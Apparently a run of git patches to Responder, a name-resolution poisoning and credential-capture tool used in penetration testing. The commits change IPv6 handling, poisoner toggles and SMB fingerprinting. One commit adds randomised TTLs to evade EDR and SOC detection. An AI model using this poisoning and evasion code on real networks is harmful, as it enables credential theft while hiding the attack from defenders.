UDPServer.server_bind(self) @@ -95,10 +99,12 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass TCPServer.server_bind(self) @@ -112,10 +118,12 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) @@ -131,11 +139,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): #IPV6: if (sys.version_info > (3, 0)): - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) else: - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -143,10 +153,12 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) @@ -160,8 +172,9 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) #IPV6: - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -169,29 +182,36 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) ThreadingUDPServer.allow_reuse_address = 1 -ThreadingUDPServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPServer.address_family = socket.AF_INET6 ThreadingTCPServer.allow_reuse_address = 1 -ThreadingTCPServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingTCPServer.address_family = socket.AF_INET6 ThreadingUDPMDNSServer.allow_reuse_address = 1 -ThreadingUDPMDNSServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPMDNSServer.address_family = socket.AF_INET6 ThreadingUDPLLMNRServer.allow_reuse_address = 1 -ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 ThreadingTCPServerAuth.allow_reuse_address = 1 -ThreadingTCPServerAuth.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingTCPServerAuth.address_family = socket.AF_INET6 def serve_thread_udp_broadcast(host, port, handler): try: diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 3724f51..bec9d13 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def Parse_LLMNR_Name(data): import codecs NameLen = data[12] @@ -86,7 +89,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'AnalyzeMode': '0', }) - elif LLMNRType == 'IPv6': + elif LLMNRType == 'IPv6' and Have_IPv6: Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a9b555a..0be2e83 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -23,6 +23,9 @@ else: from packets import MDNS_Ans, MDNS6_Ans from utils import * +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def Parse_MDNS_Name(data): try: if (sys.version_info > (3, 0)): @@ -82,7 +85,7 @@ class MDNS(BaseRequestHandler): 'AnalyzeMode': '0', }) - elif MDNSType == 'IPv6': # Poisoning Mode + elif MDNSType == 'IPv6'and Have_IPv6: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer.calculate() diff --git a/servers/DNS.py b/servers/DNS.py index 9bbabbe..521599d 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3": else: from SocketServer import BaseRequestHandler +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] OPT = data[len(data)-22:len(data)-20] @@ -65,14 +68,14 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) @@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: buff = DNS6_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) diff --git a/settings.py b/settings.py index 3d3a699..87caa5e 100644 --- a/settings.py +++ b/settings.py @@ -168,6 +168,9 @@ class Settings: self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet + #Do we have IPv6 for real? + self.IPv6 = utils.Probe_IPv6_socket() + if self.Interface == "ALL": self.Bind_To_ALL = True else: diff --git a/utils.py b/utils.py index 51ecb93..521fb64 100644 --- a/utils.py +++ b/utils.py @@ -219,7 +219,15 @@ def FindLocalIP(Iface, OURIP): print(color("[!] Error: %s: Interface not found" % Iface, 1)) sys.exit(-1) - +def Probe_IPv6_socket(): + """Return true is IPv6 sockets are really supported, and False when IPv6 is not supported.""" + try: + with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s: + s.bind(("::1", 0)) + return True + except: + return False + def FindLocalIP6(Iface, OURIP): if Iface == 'ALL': return '::' @@ -234,7 +242,6 @@ def FindLocalIP6(Iface, OURIP): s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect((randIP+':80', 1)) IP = s.getsockname()[0] - print('IP is: %s'%IP) return IP except: try: From e51f24e36c1f84bc995a690d385c506c35cc6175 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 13:48:41 -0300 Subject: [PATCH 197/219] fixed minor bug --- utils.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/utils.py b/utils.py index 521fb64..0f7fdde 100644 --- a/utils.py +++ b/utils.py @@ -221,10 +221,12 @@ def FindLocalIP(Iface, OURIP): def Probe_IPv6_socket(): """Return true is IPv6 sockets are really supported, and False when IPv6 is not supported.""" + if not socket.has_ipv6: + return False try: with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s: s.bind(("::1", 0)) - return True + return True except: return False From 1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 15:01:43 -0300 Subject: [PATCH 198/219] added support for either resolv.conf or resolvectl --- settings.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/settings.py b/settings.py index 87caa5e..6225de2 100644 --- a/settings.py +++ b/settings.py @@ -335,10 +335,12 @@ class Settings: NetworkCard = "Error fetching Network Interfaces:", ex pass try: - DNS = subprocess.check_output(["resolvectl", "status"]) - except subprocess.CalledProcessError as ex: - DNS = "Error fetching DNS configuration:", ex - pass + p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + DNS = p.stdout.read() + except: + p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + DNS = p.stdout.read() + try: RoutingInfo = subprocess.check_output(["netstat", "-rn"]) except: From f50f0be59c0de6fd0ff8eef62ba31db96815c878 Mon Sep 17 00:00:00 2001 From: nodauf Date: Tue, 2 Apr 2024 16:42:09 +0200 Subject: [PATCH 199/219] Add randomness in TTL value to avoid some EDR detections --- Responder.py | 1 + poisoners/LLMNR.py | 4 ++-- poisoners/MDNS.py | 2 +- poisoners/NBTNS.py | 2 +- settings.py | 12 ++++++++++++ utils.py | 1 + 6 files changed, 18 insertions(+), 4 deletions(-) diff --git a/Responder.py b/Responder.py index 8875430..5abcb90 100755 --- a/Responder.py +++ b/Responder.py @@ -45,6 +45,7 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") +parser.add_option('-t','--ttl', action="store", help="Configure the TTL in the victim cache. Value in hex (30 seconds = 1e)", dest="TTL", metavar="1e", default=None) options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index bec9d13..e130273 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -76,7 +76,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == True: # Poisoning Mode - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: @@ -90,7 +90,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == 'IPv6' and Have_IPv6: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 0be2e83..b1049bc 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -73,7 +73,7 @@ class MDNS(BaseRequestHandler): }) elif MDNSType == True: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index f574a98..446dc06 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -44,7 +44,7 @@ class NBTNS(BaseRequestHandler): 'AnalyzeMode': '1', }) else: # Poisoning Mode - Buffer1 = NBT_Ans() + Buffer1 = NBT_Ans(TTL=settings.Config.TTL) Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: diff --git a/settings.py b/settings.py index 6225de2..7c29f13 100644 --- a/settings.py +++ b/settings.py @@ -168,6 +168,18 @@ class Settings: self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet + # TTL blacklist. Known to be detected by SOC / XDR + TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] + # Random TTL + if options.TTL is None: + TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x')) + if TTL in TTL_blacklist: + TTL = int.from_bytes(TTL, "big")+1 + TTL = int.to_bytes(TTL, 4) + self.TTL = TTL.decode('utf-8') + else: + self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8') + #Do we have IPv6 for real? self.IPv6 = utils.Probe_IPv6_socket() diff --git a/utils.py b/utils.py index 0f7fdde..b216ca1 100644 --- a/utils.py +++ b/utils.py @@ -559,6 +559,7 @@ def StartupMessage(): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1)) print('') print(color("[+] ", 2, 1) + "Current Session Variables:") From 807bd57a96337ab77f2fff50729a6eb229e5dc37 Mon Sep 17 00:00:00 2001 From: f3rn0s Date: Tue, 30 Apr 2024 15:52:04 +1000 Subject: [PATCH 200/219] Add options for poisoners --- Responder.conf | 45 +++++++++++++++++++++++++-------------------- Responder.py | 19 ++++++++++++------- settings.py | 7 ++++++- 3 files changed, 43 insertions(+), 28 deletions(-) diff --git a/Responder.conf b/Responder.conf index c157acf..180e94f 100755 --- a/Responder.conf +++ b/Responder.conf @@ -1,24 +1,29 @@ [Responder Core] -; Servers to start -SQL = On -SMB = On -RDP = On -Kerberos = On -FTP = On -POP = On -SMTP = On -IMAP = On -HTTP = On -HTTPS = On -DNS = On -LDAP = On -DCERPC = On -WINRM = On -SNMP = Off -MQTT = On +; Poisoners to start +MDNS = On +LLMNR = On +NBTNS = On -; Custom challenge. +; Servers to start +SQL = On +SMB = On +RDP = On +Kerberos = On +FTP = On +POP = On +SMTP = On +IMAP = On +HTTP = On +HTTPS = On +DNS = On +LDAP = On +DCERPC = On +WINRM = On +SNMP = Off +MQTT = On + +; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = Random @@ -65,8 +70,8 @@ AutoIgnoreAfterSuccess = Off ; This may break file serving and is useful only for hash capture CaptureMultipleCredentials = On -; If set to On, we will write to file all hashes captured from the same host. -; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, +; If set to On, we will write to file all hashes captured from the same host. +; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, ; domain\popo, domain\zozo. Recommended value: On, capture everything. CaptureMultipleHashFromSameHost = On diff --git a/Responder.py b/Responder.py index 8875430..545a8e3 100755 --- a/Responder.py +++ b/Responder.py @@ -294,16 +294,21 @@ def main(): if (sys.version_info < (3, 0)): print(color('\n\n[-]', 3, 1) + " Still using python 2? :(") print(color('\n[+]', 2, 1) + " Listening for events...\n") - + threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners - from poisoners.LLMNR import LLMNR - from poisoners.NBTNS import NBTNS - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + if settings.Config.LLMNR_On_Off: + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + + if settings.Config.NBTNS_On_Off: + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + + if settings.Config.MDNS_On_Off: + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. diff --git a/settings.py b/settings.py index 6225de2..fdf15aa 100644 --- a/settings.py +++ b/settings.py @@ -114,7 +114,12 @@ class Settings: # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) - + + # Poisoners + self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR')) + self.NBNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS')) + self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS')) + # Servers self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) From 413bc8be3169d215f7d5f251a78c8d8404e52f61 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 6 May 2024 09:16:36 -0300 Subject: [PATCH 201/219] Fixed issue with smb signing detection --- tools/RunFinger.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 317f97b..d291fa7 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data): def SMB2SigningMandatory(data): global SMB2signing - if data[70:71] == b"\x03": + if data[70:71] == "\x03": SMB2signing = "True" else: SMB2signing = "False" @@ -123,7 +123,7 @@ def WorkstationFingerPrint(data): b"\x06\x01" :"Windows 7/Server 2008R2", b"\x06\x02" :"Windows 8/Server 2012", b"\x06\x03" :"Windows 8.1/Server 2012R2", - b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", + b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)", }.get(data, 'Other than Microsoft') def GetOsBuildNumber(data): @@ -201,7 +201,7 @@ def IsDCVuln(t, host): ##################### def IsSigningEnabled(data): - if data[39:40] == b"\x0f": + if data[39:40] == "\x0f": return 'True' else: return 'False' @@ -251,7 +251,6 @@ def DomainGrab(Host): buffer0 = longueur(packet0)+packet0 s.send(NetworkSendBufferPython2or3(buffer0)) data = s.recv(2048) - s.close() if data[8:10] == b'\x72\x00': return GetHostnameAndDomainName(data) except IOError as e: @@ -359,7 +358,7 @@ def ConnectAndChoseSMB(host): if not data: break except Exception: - pass + return False else: return False From ccbcd1736f4ddfb91bece10b060cc0be0bb0cdd1 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 6 May 2024 09:24:06 -0300 Subject: [PATCH 202/219] minox typo fix --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 801b6ac..ea895f3 100644 --- a/settings.py +++ b/settings.py @@ -117,7 +117,7 @@ class Settings: # Poisoners self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR')) - self.NBNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS')) + self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS')) self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS')) # Servers From 64cf4d98738599d1b87bc541dd2273ccd5aa4711 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 6 May 2024 09:56:02 -0300 Subject: [PATCH 203/219] minor fix --- tools/RunFingerPackets.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tools/RunFingerPackets.py b/tools/RunFingerPackets.py index 651849b..829c542 100644 --- a/tools/RunFingerPackets.py +++ b/tools/RunFingerPackets.py @@ -1,4 +1,5 @@ -import random, struct, sys +import random, struct, sys, os +from os import urandom from socket import * from time import sleep from odict import OrderedDict @@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet): ("SecurityMode", "\x01\x00"), ("Reserved","\x00\x00"), ("Capabilities","\x00\x00\x00\x00"), - ("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"), + ("ClientGUID", urandom(16).decode('latin-1')), ("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"), ("Dialect1","\x02\x02"), ("Dialect2","\x10\x02"), From d715f2de219bb1f528d9993025c779f4e5c18f8c Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 8 May 2024 09:41:44 -0300 Subject: [PATCH 204/219] Updated Changelog --- CHANGELOG.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e01edf2..bbc5d88 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,18 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. [Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD) +### Added + +- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s). +- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf). +- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx). + +### Fixed + +- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx). +- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx). +- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx). + ### Removed - removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx). From 116a056e7d06bf216b53b588829c7c003b889e3b Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 8 May 2024 10:14:11 -0300 Subject: [PATCH 205/219] Listed all contributors over time. Thanks for your contribution to this project! --- Contributors | 76 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 Contributors diff --git a/Contributors b/Contributors new file mode 100644 index 0000000..13dbafd --- /dev/null +++ b/Contributors @@ -0,0 +1,76 @@ +Commits | user +15 @jrmdev +7 @nobbd +6 @ValdikSS +6 @also-here +5 @HexPandaa +5 @exploide +5 @jvoisin +4 @Clément Notin +4 @Shutdown +4 @Yannick Méheut +3 @Hank Leininger +3 @brightio +3 @byt3bl33d3r +3 @myst404 +3 @skelsec +2 @Alexandre ZANNI +2 @Crypt0-M3lon +2 @Laban Sköllermark +2 @Matthew Daley +2 @Pixis +2 @Rob Fuller +2 @ThePirateWhoSmellsOfSunflowers +2 @Vincent Yiu +2 @requin +1 @Andrii Nechytailov +1 @Antonio Herraiz +1 @Chris Maddalena +1 @Euan +1 @Garret Picchioni +1 @Gifts +1 @Gustaf Blomqvist +1 @Hubert Seiwert +1 @IMcPwn +1 @Jared Haight +1 @Jim Shaver +1 @Khiem Doan +1 @Leon Jacobs +1 @Lionel PRAT +1 @Markus +1 @MatToufoutu +1 @Matt +1 @Matt Andreko +1 @Matt Kelly +1 @Nikos Vassakis +1 @OJ +1 @Paul A +1 @Randy Ramos +1 @SAERXCIT +1 @Sagar-Jangam +1 @Sans23 +1 @Sophie Brun +1 @Stephen Shkardoon +1 @Syntricks +1 @Timon Hackenjos +1 @Tom Aviv +1 @Ziga P +1 @cweedon +1 @deltronzero +1 @f3rn0s +1 @jackassplus +1 @jb +1 @kevintellier +1 @kitchung +1 @klemou +1 @lanjelot +1 @nickyb +1 @nodauf +1 @nop5L3D +1 @pixis +1 @ravenium +1 @soa +1 @steven +1 @thejosko +1 @trustedsec + From 4947ae6e52df031b591049f8e2e904f2454bd96c Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 14 May 2024 11:02:35 -0300 Subject: [PATCH 206/219] Added default mode for TTL option --- Responder.py | 2 +- packets.py | 10 +++++----- poisoners/LLMNR.py | 12 ++++++++++-- poisoners/MDNS.py | 14 +++++++++++--- poisoners/NBTNS.py | 5 ++++- settings.py | 6 +++++- utils.py | 5 ++++- 7 files changed, 40 insertions(+), 14 deletions(-) diff --git a/Responder.py b/Responder.py index 49fab8e..bbd3c7a 100755 --- a/Responder.py +++ b/Responder.py @@ -45,7 +45,7 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") -parser.add_option('-t','--ttl', action="store", help="Configure the TTL in the victim cache. Value in hex (30 seconds = 1e)", dest="TTL", metavar="1e", default=None) +parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/packets.py b/packets.py index 3ec9dec..bb3134e 100644 --- a/packets.py +++ b/packets.py @@ -52,7 +52,7 @@ class NBT_Ans(Packet): ("NbtName", ""), ("Type", 